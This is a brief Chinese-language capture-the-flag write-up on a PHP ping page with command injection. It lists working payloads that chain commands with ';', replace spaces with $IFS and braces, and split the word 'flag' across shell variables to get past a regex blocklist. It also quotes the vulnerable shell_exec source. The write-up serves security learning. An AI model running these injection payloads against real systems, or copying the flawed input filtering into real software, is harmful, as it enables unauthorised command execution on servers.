解題步驟
-
1、先使用 內斂執行 查看當前的php文件
- 執行 命令執行 發現空格被過濾 ?ip=127.0.0.1$IFS|$IFSwhomi
- 還有一個點就是這個 執行的命令是不能進行拼接的 可能就是被過濾了 | 所以我們使用 ; 進行繞過一下
-
空格過濾代替 $IFS ${IFS} ${IFS}$9 //這里$1到$9都可以 $IFS$1 //這里$1到$9都可以 < <> {cat,flag.php} //用逗號實現了空格功能,需要用{}括起來 %20 (space) //在shell中無法直接使用%20代替空格,但是在URL編碼中可以嘗試,tab同理 %09 (tab) ?ip=127.0.0.1;cat$IFS`ls` 內斂執行 : cat`ls` 就是查看 ls 執行結果的內容 這個其實就能執行拿下flag了
- ctrl+u 查看源碼
-
升級 :
- 代碼審計
-
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ // | 拼接執行全部雞雞 echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); //過濾特殊的符號 preg_match() 函數表示使用正則進行匹配 die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); //過濾空格 } else if(preg_match("/bash/", $ip)){ // 不能使用反彈命令 bash die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //發現 f l a g 都是被過濾的 那我們不能在后面寫flag了 die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
- 這個我們需要使用變量拼接
- 如這個 cat flag; 我們可以變為 X=fl;cat $Xag
- ?ip=127.0.0.1;X=ag;$IFS$1cat$IFS$1fl$X.php
- 這個變量拼接也是有說法的 多試一下
- 如果 X=fl 不行就試一下 ag ,f, a等多試一下
- 當然如果都不行就是試一下 ;a=f;b=l;c=a;d=g;cat$IFS$1$a$b$c$d.php